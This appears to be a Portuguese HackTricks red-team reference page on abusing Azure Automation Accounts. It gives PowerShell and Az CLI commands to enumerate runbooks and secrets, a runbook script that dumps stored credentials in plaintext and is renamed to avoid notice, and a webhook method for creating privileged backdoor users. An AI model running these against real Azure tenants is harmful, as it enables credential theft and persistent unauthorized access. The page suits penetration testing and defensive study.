Az - Automation Account

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

A partir da documentação: O Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e serviço de configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Ele inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos.

Esses são como "tarefas agendadas" no Azure que permitirão que você execute ações (ou até mesmo scripts) para gerenciar, verificar e configurar o ambiente Azure.

Conta Run As

Quando a Conta Run as é usada, ela cria um aplicativo Azure AD com certificado autoassinado, cria um principal de serviço e atribui a função de Contribuinte para a conta na assinatura atual (muitos privilégios). A Microsoft recomenda o uso de uma Identidade Gerenciada para a Conta de Automação.

Isso será removido em 30 de setembro de 2023 e substituído por Identidades Gerenciadas.

Runbooks & Jobs

Os Runbooks permitem que você execute código PowerShell arbitrário. Isso poderia ser abusado por um atacante para roubar as permissões do principal anexado (se houver). No código dos Runbooks, você também pode encontrar informações sensíveis (como credenciais).

Se você puder ler os jobs, faça isso, pois eles contêm a saída da execução (informações potencialmente sensíveis).

Vá para Contas de Automação --> <Selecionar Conta de Automação> --> Runbooks/Jobs/Grupos de trabalhadores híbridos/Tarefas de monitoramento/credenciais/variáveis/certificados/conexões

Trabalhador Híbrido

Um Runbook pode ser executado em um contêiner dentro do Azure ou em um Trabalhador Híbrido (máquina não-Azure). O Agente de Log Analytics é implantado na VM para registrá-lo como um trabalhador híbrido. Os trabalhos do trabalhador híbrido são executados como SYSTEM no Windows e como conta nxautomation no Linux. Cada Trabalhador Híbrido é registrado em um Grupo de Trabalhadores Híbridos.

Portanto, se você puder escolher executar um Runbook em um Trabalhador Híbrido do Windows, você executará comandos arbitrários dentro de uma máquina externa como System (técnica de pivô interessante).

Comprometimento da Configuração de Estado (SC)

A partir da documentação: A Configuração de Estado da Automação do Azure é um serviço de gerenciamento de configuração do Azure que permite escrever, gerenciar e compilar Configurações de Estado Desejado do PowerShell (DSC) configurações para nós em qualquer nuvem ou datacenter local. O serviço também importa Recursos DSC e atribui configurações a nós de destino, tudo na nuvem. Você pode acessar a Configuração de Estado da Automação do Azure no portal Azure selecionando Configuração de estado (DSC) em Gerenciamento de Configuração.

Informações sensíveis podem ser encontradas nessas configurações.

RCE

É possível abusar do SC para executar scripts arbitrários nas máquinas gerenciadas.

pageAz - State Configuration RCE

Enumeração

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Exfiltrar Credenciais e Variáveis definidas em uma Conta de Automação usando um Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Você poderia fazer a mesma coisa modificando um Run Book existente, e a partir do console web.

Etapas para Configurar a Criação Automatizada de Usuário Altamente Privilegiado

1. Inicializar uma Conta de Automação

  • Ação Necessária: Criar uma nova Conta de Automação.

  • Configuração Específica: Garantir que "Criar conta Azure Run As" esteja habilitado.

2. Importar e Configurar o Runbook

  • Fonte: Baixe o runbook de exemplo do Repositório GitHub MicroBurst.

  • Ações Necessárias:

  • Importar o runbook para a Conta de Automação.

  • Publicar o runbook para torná-lo executável.

  • Anexar um webhook ao runbook, habilitando gatilhos externos.

3. Configurar o Módulo AzureAD

  • Ação Necessária: Adicionar o módulo AzureAD à Conta de Automação.

  • Passo Adicional: Garantir que todos os Módulos de Automação do Azure estejam atualizados para suas versões mais recentes.

4. Atribuição de Permissão

  • Funções a Atribuir:

  • Administrador de Usuário

  • Proprietário da Assinatura

  • Alvo: Atribuir essas funções à Conta de Automação para privilégios necessários.

5. Consciência da Possível Perda de Acesso

  • Nota: Esteja ciente de que configurar tal automação pode levar à perda de controle sobre a assinatura.

6. Acionar a Criação de Usuário

  • Acione o webhook para criar um novo usuário enviando uma solicitação POST.

  • Use o script PowerShell fornecido, garantindo substituir o $uri pelo seu URL de webhook real e atualizando o $AccountInfo com o nome de usuário e senha desejados.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización